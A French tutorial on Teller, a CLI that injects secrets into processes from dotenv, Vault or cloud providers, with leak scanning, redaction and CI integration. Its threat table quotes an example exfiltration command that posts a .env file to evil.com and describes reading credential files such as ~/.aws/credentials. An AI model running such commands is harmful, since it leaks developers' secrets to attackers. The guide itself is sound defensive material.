
Vos secrets de développement traînent dans des fichiers .env en clair, des export dans .zshrc ou des variables d’environnement persistantes — autant de cibles faciles pour un malware ou un script malveillant. Teller résout ce problème : il injecte les secrets directement dans vos processus depuis n’importe quelle source (dotenv, HashiCorp Vault, AWS Secrets Manager, etc.) sans jamais les exposer dans le shell ni les écrire en clair sur le disque.
Ce guide vous accompagne pas à pas : installation, configuration d’un premier provider, injection dans un processus, scan de fuites et intégration CI/CD. Chaque commande est testable immédiatement. Il s’adresse aux développeurs et aux équipes DevSecOps qui veulent éliminer les fichiers .env en clair de leur workflow.
Ce que vous allez apprendre
Section intitulée « Ce que vous allez apprendre »- Ce qu’est Teller et pourquoi éliminer les fichiers
.enven clair - Comment configurer votre premier provider (dotenv) de A à Z
- Comment injecter les secrets dans un processus avec
teller run - Comment vérifier les secrets chargés avec
teller show - Comment scanner votre code pour détecter les fuites avec
teller scan - Comment masquer (redact) les secrets dans les logs
- Comment exporter et templater vos secrets
- L’intégration CI/CD avec le mode
--error-if-found
Qu’est-ce que Teller ?
Section intitulée « Qu’est-ce que Teller ? »Teller est une CLI cross-platform (Linux, macOS, Windows) développé en Rust par la communauté open source. Il centralise l’accès aux secrets depuis plusieurs providers simultanément et les injecte dans les processus enfants sous forme de variables d’environnement — sans jamais les écrire dans un fichier en clair ni les exposer dans l’historique shell.
L’analogie est simple : Teller est un proxy de secrets. Au lieu de stocker vos credentials dans des fichiers .env que n’importe quel processus peut lire, vous décrivez dans un fichier .teller.yml où sont vos secrets et Teller les récupère à la volée au moment où votre application en a besoin.
| Aspect | Détail |
|---|---|
| Objectif | Injecter les secrets dans les processus sans les exposer sur le poste |
| Approche | Récupération à la volée depuis les providers, injection en variables d’environnement |
| Providers | dotenv, HashiCorp Vault, HashiCorp Consul, AWS Secrets Manager, AWS SSM, GCP Secret Manager, etcd |
| Fonctions | run, show, scan, redact, template, export, sh, put, delete, copy |
| Sortie scan | Texte ou JSON, code de sortie 1 si fuites détectées |
| Licence | Apache-2.0 |
| Langage | Rust (v2.x) — anciennement Go (v1.x) |
Pourquoi éliminer les secrets en clair ?
Section intitulée « Pourquoi éliminer les secrets en clair ? »Les fichiers .env en clair et les export dans les dotfiles sont les premières cibles des attaques supply chain sur les postes développeurs. Un poste compromis donne accès à :
- La production — credentials cloud, tokens d’API, clés de chiffrement
- Le code source — tokens GitHub/GitLab pour cloner ou pusher du code malveillant
- La supply chain — tokens npm/PyPI pour publier des packages compromis
Comment un attaquant exploite vos secrets
Section intitulée « Comment un attaquant exploite vos secrets »Voici les vecteurs d’exposition les plus courants et comment ils sont exploités concrètement :
| Vecteur | Comment l’attaquant l’exploite | Impact |
|---|---|---|
Fichier .env en clair | Un script postinstall d’un package npm compromis lit tous les fichiers .env du disque et les envoie à un serveur distant (curl -s https://evil.com/collect -d @.env). C’est exactement ce qui s’est passé avec les packages event-stream et ua-parser-js. | Exfiltration silencieuse de tous vos secrets en une commande |
export dans .zshrc | Un malware ou une extension VS Code compromise lit ~/.zshrc, ~/.bashrc et ~/.bash_profile pour extraire les export contenant des tokens. Les variables exportées sont aussi héritées par tous les processus enfants, y compris les scripts que vous exécutez sans les avoir audités. | Tokens accessibles à tout processus lancé depuis votre shell |
| Variable persistante | Un processus malveillant appelle env ou lit /proc/self/environ pour lister toutes les variables d’environnement du système. Les variables définies globalement (dans /etc/environment ou les profils système) restent même après déconnexion. | Persistance des secrets au-delà de la session |
| Historique shell | Un attaquant avec un accès au fichier ~/.zsh_history ou ~/.bash_history y trouve les commandes contenant des tokens (curl -H "Authorization: Bearer sk-...", docker login -p ...). Ces fichiers sont rarement chiffrés et souvent sauvegardés dans les backups. | Récupération de tokens même longtemps après leur utilisation |
| Credentials cloud | Le fichier ~/.aws/credentials (ou ~/.config/gcloud/) contient les clés d’accès en clair. Un seul cat ~/.aws/credentials suffit pour obtenir un accès complet au compte AWS — création de machines, accès aux données S3, etc. | Accès complet à l’infrastructure cloud |
Ce que Teller protège (et ce qu’il ne protège pas)
Section intitulée « Ce que Teller protège (et ce qu’il ne protège pas) »Avec un provider distant (Vault, AWS Secrets Manager, GCP Secret Manager), Teller élimine ces vecteurs : les secrets ne transitent que dans la mémoire du processus, jamais sur le disque ni dans le shell. Aucun fichier lisible, aucun export, aucun historique.
| Scénario | Provider dotenv | Provider Vault/AWS/GCP |
|---|---|---|
Package npm malveillant lit .env | Vulnérable — le fichier est sur le disque | Protégé — pas de fichier à lire |
Malware lit ~/.zshrc cherchant des export | Protégé — pas d’export dans le shell | Protégé — pas d’export dans le shell |
| Backup du home contient des secrets | Vulnérable — .env dans le backup | Protégé — rien à sauvegarder |
env dans un processus enfant | Visible — pendant l’exécution via teller run | Visible — pendant l’exécution via teller run |
| Accès physique au disque | Vulnérable — .env lisible | Protégé — pas de fichier secret |
Prérequis
Section intitulée « Prérequis »- Un système Linux ou macOS (Windows supporté mais non couvert ici)
- Rust et Cargo installés (pour compiler Teller v2) — ou accès aux releases GitHub
- protobuf-compiler (
protoc) — nécessaire à la compilation - Optionnel : jq pour formater la sortie JSON
Installation
Section intitulée « Installation »-
Installez les dépendances de compilation
Teller v2 utilise gRPC (via tonic/prost) qui nécessite le compilateur Protocol Buffers :
Fenêtre de terminal # Ubuntu / Debiansudo apt install -y protobuf-compiler# macOSbrew install protobufVérification :
Fenêtre de terminal protoc --versionVous devez voir une version (ex.
libprotoc 3.21.12). Si la commande n’est pas trouvée, l’installation de Teller échouera. -
Installez Teller via Cargo
Fenêtre de terminal cargo install teller --lockedLa compilation prend 2-5 minutes selon votre machine. Cargo télécharge les dépendances, compile le projet et installe le binaire dans
~/.cargo/bin/. -
Vérifiez l’installation
Fenêtre de terminal teller --versionRésultat attendu :
teller 2.0.7Si vous obtenez
command not found, ajoutez~/.cargo/binà votrePATH:Fenêtre de terminal export PATH="$HOME/.cargo/bin:$PATH"
Votre premier projet avec Teller
Section intitulée « Votre premier projet avec Teller »C’est ici que tout commence. Nous allons créer un projet de test, configurer Teller avec le provider dotenv (le plus simple pour démarrer), et vérifier que l’injection fonctionne.
-
Créez un répertoire de projet
Fenêtre de terminal mkdir ~/teller-lab && cd ~/teller-labTeller cherche le fichier
.teller.ymldans le répertoire courant (comme Docker avecdocker-compose.yml). Chaque projet a sa propre configuration. -
Créez un fichier
.envavec des secrets de testPour ce premier essai, nous utilisons le provider dotenv qui lit un fichier
.envclassique. Créez-le avec des valeurs fictives :Fenêtre de terminal cat > .env << 'EOF'API_KEY=sk-test-1234567890abcdefDB_HOST=localhostDB_PASSWORD=s3cret-PassDB_PORT=5432APP_ENV=developmentEOFCe fichier
.envsimule les secrets que votre application utilise habituellement. En production, ces valeurs viendraient d’un vault (HashiCorp Vault, AWS Secrets Manager, etc.) — mais pour apprendre, le fichier.envest parfait. -
Créez le fichier
.teller.ymlC’est le fichier de configuration central de Teller. Il décrit où trouver vos secrets :
.teller.yml project: teller-labproviders:my_dotenv:kind: dotenvmaps:- id: secretspath: .envDécomposons chaque ligne :
Ligne Signification project: teller-labNom du projet (libre, pour identifier le contexte) providers:Liste des sources de secrets my_dotenv:Nom que vous donnez à ce provider (libre, utilisé dans les logs et les commandes put/delete)kind: dotenvType de provider — ici un fichier .envclassiquemaps:Liste des “maps” (ensembles de clés-valeurs) de ce provider - id: secretsIdentifiant de cette map (utilisé comme --map-iddans les commandes)path: .envChemin vers le fichier .env(relatif au répertoire courant) -
Vérifiez que Teller lit vos secrets
Fenêtre de terminal teller showRésultat attendu :
[my_dotenv (dotenv)]: API_KEY = sk***[my_dotenv (dotenv)]: APP_ENV = de***[my_dotenv (dotenv)]: DB_HOST = lo***[my_dotenv (dotenv)]: DB_PASSWORD = s3***[my_dotenv (dotenv)]: DB_PORT = 54***Teller affiche les clés avec les valeurs masquées (seuls les 2 premiers caractères sont visibles). C’est le premier signe que tout fonctionne : Teller a lu votre
.envet connaît vos 5 secrets.Si vous obtenez une erreur : vérifiez que le fichier
.teller.ymlest bien dans le répertoire courant et que le cheminpath: .envpointe vers un fichier existant. -
Injectez les secrets dans un processus
C’est la commande centrale de Teller. Au lieu de faire
export API_KEY=...manuellement, Teller injecte toutes les variables d’environnement dans le processus enfant :Fenêtre de terminal teller run -- /usr/bin/env | grep -E "API_KEY|DB_|APP_ENV"Résultat attendu :
API_KEY=sk-test-1234567890abcdefAPP_ENV=developmentDB_HOST=localhostDB_PASSWORD=s3cret-PassDB_PORT=5432Cette fois, les valeurs sont en clair — mais elles ne sont visibles que par le processus enfant (
envdans cet exemple). Elles n’apparaissent pas dans votre shell, votre historique, ni dans aucun fichier. Dès que le processus se termine, les variables disparaissent.
Utiliser Teller avec un vrai script
Section intitulée « Utiliser Teller avec un vrai script »Maintenant que les bases fonctionnent, voyons comment injecter les secrets dans une vraie application. Créez un script qui simule une application lisant ses variables d’environnement :
#!/bin/bashecho "=== Configuration de l'application ==="echo "Connexion à la base de données : $DB_HOST:$DB_PORT"echo "Environnement : $APP_ENV"echo "Clé API présente : $([ -n "$API_KEY" ] && echo 'oui' || echo 'non')"Rendez-le exécutable et lancez-le via Teller :
chmod +x app.shteller run -- ./app.shRésultat attendu :
=== Configuration de l'application ===Connexion à la base de données : localhost:5432Environnement : developmentClé API présente : ouiSans Teller, le même script recevrait des variables vides. Comparez avec l’exécution directe :
./app.sh=== Configuration de l'application ===Connexion à la base de données : :Environnement :Clé API présente : nonLa différence est claire : aucun secret n’est exposé dans le shell — ils n’existent que dans le processus enfant lancé par teller run.
Scanner les fuites de secrets
Section intitulée « Scanner les fuites de secrets »Teller peut aussi scanner votre répertoire pour détecter les fichiers qui contiennent des valeurs de secrets en clair. C’est utile pour vérifier qu’un secret n’a pas fuité dans un fichier de logs, un README ou un fichier de test.
-
Créez un fichier avec un secret qui a fuité
Pour le test, simulez une fuite dans un fichier texte :
Fenêtre de terminal cat > leaked.txt << 'EOF'Voici la config : host=localhost password=s3cret-PassLa clé API est sk-test-1234567890abcdefEOF -
Lancez le scan
Fenêtre de terminal teller scanRésultat attendu :
scanning for 5 item(s) in .1:9 ./.env sk*** dotenv .env2:16 ./leaked.txt sk*** dotenv .env1:24 ./leaked.txt lo*** dotenv .env1:43 ./leaked.txt s3*** dotenv .env2:9 ./.env lo*** dotenv .envfound 8 result(s)Teller a trouvé des valeurs de secrets en dehors du fichier
.env— dansleaked.txt. Chaque ligne indique :Colonne Signification 2:16Ligne 2, caractère 16 dans le fichier ./leaked.txtFichier contenant la fuite sk***Valeur masquée du secret détecté dotenvType du provider source .envFichier d’origine du secret -
Mode CI : échouer si des fuites sont détectées
Ajoutez
--error-if-foundpour que Teller retourne un code de sortie 1 en cas de fuite :Fenêtre de terminal teller scan --error-if-foundecho "Code de sortie : $?"Code de sortie : 1C’est le flag à utiliser dans vos pipelines CI/CD pour bloquer un merge si un secret a fuité dans le code.
-
Format JSON pour l’intégration outillée
Pour traiter les résultats du scan automatiquement (dashboard, alertes), utilisez le format JSON :
Fenêtre de terminal teller scan --json 2>/dev/null | jq '.[0]'{"path": "./leaked.txt","position": [2, 16],"offset": 15,"query": {"value": "sk-test-1234567890abcdef","key": "API_KEY","from_key": "API_KEY","path": {"id": "secrets","path": ".env"},"provider": {"kind": "dotenv","name": "my_dotenv"}}} -
Nettoyez le fichier de test
Fenêtre de terminal rm leaked.txt
Masquer les secrets dans les logs (redact)
Section intitulée « Masquer les secrets dans les logs (redact) »La commande teller redact lit un flux (stdin ou fichier) et remplace toutes les valeurs de secrets par [REDACTED]. C’est utile pour filtrer les logs avant de les envoyer dans un système centralisé.
echo 'Connexion avec la clé sk-test-1234567890abcdef réussie' | teller redactRésultat :
Connexion avec la clé [REDACTED] réussieTeller compare chaque mot du flux avec les valeurs connues de vos secrets et masque les correspondances. Vous pouvez aussi redacter un fichier complet :
teller redact -i app.log -o app-safe.logExporter les secrets
Section intitulée « Exporter les secrets »Teller peut exporter tous les secrets dans quatre formats différents. C’est utile pour alimenter un outil tiers ou vérifier rapidement les valeurs.
# JSONteller export json
# Variables d'environnementteller export env
# YAMLteller export yaml
# CSVteller export csvExemple de sortie JSON :
{ "API_KEY": "sk-test-1234567890abcdef", "APP_ENV": "development", "DB_HOST": "localhost", "DB_PASSWORD": "s3cret-Pass", "DB_PORT": "5432"}Exemple de sortie env :
API_KEY=sk-test-1234567890abcdefAPP_ENV=developmentDB_HOST=localhostDB_PASSWORD=s3cret-PassDB_PORT=5432Générer un script shell (teller sh)
Section intitulée « Générer un script shell (teller sh) »La commande teller sh génère un script shell avec les export nécessaires. C’est l’équivalent d’un export manuel, mais généré automatiquement à partir de la configuration :
teller shRésultat :
#!/bin/shexport API_KEY='sk-test-1234567890abcdef'export APP_ENV='development'export DB_HOST='localhost'export DB_PASSWORD='s3cret-Pass'export DB_PORT='5432'Vous pouvez sourcer cette sortie dans votre shell si nécessaire :
eval "$(teller sh)"Générer des fichiers de configuration (template)
Section intitulée « Générer des fichiers de configuration (template) »Teller peut rendre un template Tera en remplaçant les références aux secrets par leurs valeurs réelles. C’est utile pour générer des fichiers de configuration (YAML, TOML, INI…) sans stocker les secrets en clair dans le template.
-
Créez un template
La syntaxe utilise la fonction
key(name='NOM_DE_CLE')— c’est une fonction Tera, pas une simple variable :config.tmpl # Configuration applicationdatabase:host: {{ key(name='DB_HOST') }}port: {{ key(name='DB_PORT') }}password: {{ key(name='DB_PASSWORD') }}api:key: {{ key(name='API_KEY') }}environment: {{ key(name='APP_ENV') }} -
Rendez le template
Fenêtre de terminal teller template -i config.tmplRésultat :
# Configuration applicationdatabase:host: localhostport: 5432password: s3cret-Passapi:key: sk-test-1234567890abcdefenvironment: development -
Écrivez le résultat dans un fichier
Fenêtre de terminal teller template -i config.tmpl -o config.ymlLe fichier
config.ymlcontient les valeurs réelles. Ajoutez-le à votre.gitignorepour éviter un commit accidentel.
Gérer les secrets (put / delete)
Section intitulée « Gérer les secrets (put / delete) »Teller permet d’écrire et supprimer des secrets dans les providers qui le supportent. Le provider dotenv supporte ces deux opérations.
Ajouter un secret
Section intitulée « Ajouter un secret »La commande teller put prend trois informations : le map-id, le provider cible et la paire clé=valeur :
teller put -m secrets --providers my_dotenv 'NEW_SECRET=super-value'Vérifiez que le secret a été ajouté :
teller show[my_dotenv (dotenv)]: API_KEY = sk***[my_dotenv (dotenv)]: APP_ENV = de***[my_dotenv (dotenv)]: DB_HOST = lo***[my_dotenv (dotenv)]: DB_PASSWORD = s3***[my_dotenv (dotenv)]: DB_PORT = 54***[my_dotenv (dotenv)]: NEW_SECRET = su***Les arguments sont :
| Argument | Signification |
|---|---|
-m secrets | Le id de la map défini dans .teller.yml |
--providers my_dotenv | Le nom du provider cible (celui à gauche de kind: dans la config) |
'NEW_SECRET=super-value' | La paire clé=valeur à écrire |
Supprimer un secret
Section intitulée « Supprimer un secret »teller delete -m secrets --providers my_dotenv NEW_SECRETVérifiez la suppression avec teller show — le secret NEW_SECRET a disparu de la liste.
Configuration multi-providers
Section intitulée « Configuration multi-providers »La puissance de Teller vient de sa capacité à agréger des secrets depuis plusieurs providers simultanément. Voici un exemple avec dotenv pour le développement local et HashiCorp Vault pour la production :
project: mon-app
providers: local_env: kind: dotenv maps: - id: app-secrets path: .env
vault_prod: kind: hashicorp_vault maps: - id: app-secrets path: secret/data/mon-app/prodAvec cette configuration, teller show affiche les secrets des deux providers. Si une même clé existe dans plusieurs providers, le premier provider dans la liste a priorité.
Renommer les clés entre providers
Section intitulée « Renommer les clés entre providers »Vous pouvez renommer les clés pour harmoniser les noms entre environnements :
project: mon-app
providers: aws_secrets: kind: aws_secretsmanager maps: - id: prod-secrets path: prod/mon-app remap: from: DATABASE_URL to: DB_CONNECTION_STRINGUtiliser des variables d’environnement dans la configuration
Section intitulée « Utiliser des variables d’environnement dans la configuration »Les chemins et options du .teller.yml peuvent référencer des variables d’environnement avec la syntaxe ${VAR} :
project: mon-app
providers: vault: kind: hashicorp_vault maps: - id: app-secrets path: secret/data/${APP_NAME}/${ENVIRONMENT}Providers disponibles
Section intitulée « Providers disponibles »Teller v2 supporte les providers suivants :
| Provider | kind | Usage |
|---|---|---|
| Fichier dotenv | dotenv | Développement local, fichier .env |
| HashiCorp Vault | hashicorp_vault | Secret manager centralisé |
| HashiCorp Consul | hashicorp_consul | Key-value store distribué |
| AWS Secrets Manager | aws_secretsmanager | Secrets cloud AWS |
| AWS SSM Parameter Store | ssm | Paramètres AWS |
| GCP Secret Manager | google_secretmanager | Secrets cloud GCP |
| etcd | etcd | Key-value store distribué |
| In-memory | inmem | Tests internes uniquement (store vide par défaut) |
Récapitulatif des commandes
Section intitulée « Récapitulatif des commandes »| Commande | Description | Affiche en clair ? |
|---|---|---|
teller show | Affiche les secrets masqués (2 premiers caractères) | Non |
teller run -- <cmd> | Lance un processus avec les secrets injectés | Oui (dans le processus) |
teller scan | Scanne le répertoire pour détecter les fuites | Non |
teller scan --error-if-found | Idem + code de sortie 1 si fuites | Non |
teller scan --json | Résultats du scan en JSON | Non |
teller redact | Remplace les secrets par [REDACTED] dans un flux | Non |
teller export <format> | Exporte en json, env, yaml ou csv | Oui |
teller sh | Génère un script shell d’export | Oui |
teller template -i <file> | Rend un template Tera avec les secrets | Oui |
teller put -m <id> --providers <name> 'K=V' | Ajoute un secret dans un provider | Non |
teller delete -m <id> --providers <name> KEY | Supprime un secret d’un provider | Non |
teller --version | Affiche la version | — |
teller -c <path> | Utilise un fichier de config alternatif | — |
Intégration CI/CD
Section intitulée « Intégration CI/CD »GitLab CI
Section intitulée « GitLab CI »scan-secrets: stage: test image: registry.company.com/security/teller:2.0.7 script: - teller scan --error-if-found allow_failure: falseGitHub Actions
Section intitulée « GitHub Actions »name: Scan secretson: [push, pull_request]
permissions: {}
jobs: scan: runs-on: ubuntu-latest permissions: contents: read container: image: registry.company.com/security/teller:2.0.7 steps: - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1 with: persist-credentials: false - name: Scan for leaked secrets run: teller scan --error-if-foundPré-commit hook
Section intitulée « Pré-commit hook »Vous pouvez utiliser Teller comme hook pre-commit pour empêcher les commits contenant des secrets :
#!/bin/bashif command -v teller &> /dev/null && [ -f .teller.yml ]; then teller scan --error-if-found if [ $? -ne 0 ]; then echo "Des secrets ont été détectés. Commit bloqué." exit 1 fifiDépannage
Section intitulée « Dépannage »| Symptôme | Cause probable | Solution |
|---|---|---|
command not found: teller | Teller non installé ou ~/.cargo/bin pas dans le PATH | export PATH="$HOME/.cargo/bin:$PATH" |
Error: could not find .teller.yml | Pas de config dans le répertoire courant | Créez .teller.yml ou utilisez -c chemin/config.yml |
Error: NOT FOUND <key>: not found | Le provider ne contient pas cette clé | Vérifiez les données du provider (le provider inmem est vide par défaut) |
libssl.so.1.1: cannot open | Binary pré-compilé + Ubuntu 24.04 | Compilez avec cargo install teller --locked |
protoc: not found | protobuf-compiler manquant | sudo apt install protobuf-compiler |
teller run ne lance rien | Commande sans chemin complet | Utilisez le chemin absolu : teller run -- /usr/bin/python3 app.py |
Template Variable not found | Mauvaise syntaxe Tera | Utilisez {{ key(name='CLE') }} et non {{ CLE }} |
teller scan liste le .env lui-même | Comportement normal | Le scan cherche les fuites partout, y compris dans la source |
À retenir
Section intitulée « À retenir »- Teller est un proxy de secrets : il injecte les variables d’environnement dans vos processus sans jamais les écrire en clair sur le disque ni les exposer dans le shell
- La configuration se fait dans un fichier
.teller.ymlavec des providers (dotenv, Vault, AWS, GCP, etc.) teller runest la commande centrale : elle lance un processus avec les secrets injectés en variables d’environnementteller showaffiche les secrets masqués pour vérifier que la configuration fonctionneteller scan --error-if-founddétecte les fuites de secrets — à intégrer dans vos pipelines CIteller redactfiltre un flux pour masquer les secrets — utile pour protéger les logsteller templateutilise la syntaxe Tera{{ key(name='CLE') }}, pas{{ CLE }}- Commencez toujours par le provider dotenv pour apprendre, puis migrez vers un vault en production
- Les binaires pré-compilés ne fonctionnent pas sur Ubuntu 24.04 — compilez avec
cargo install teller --locked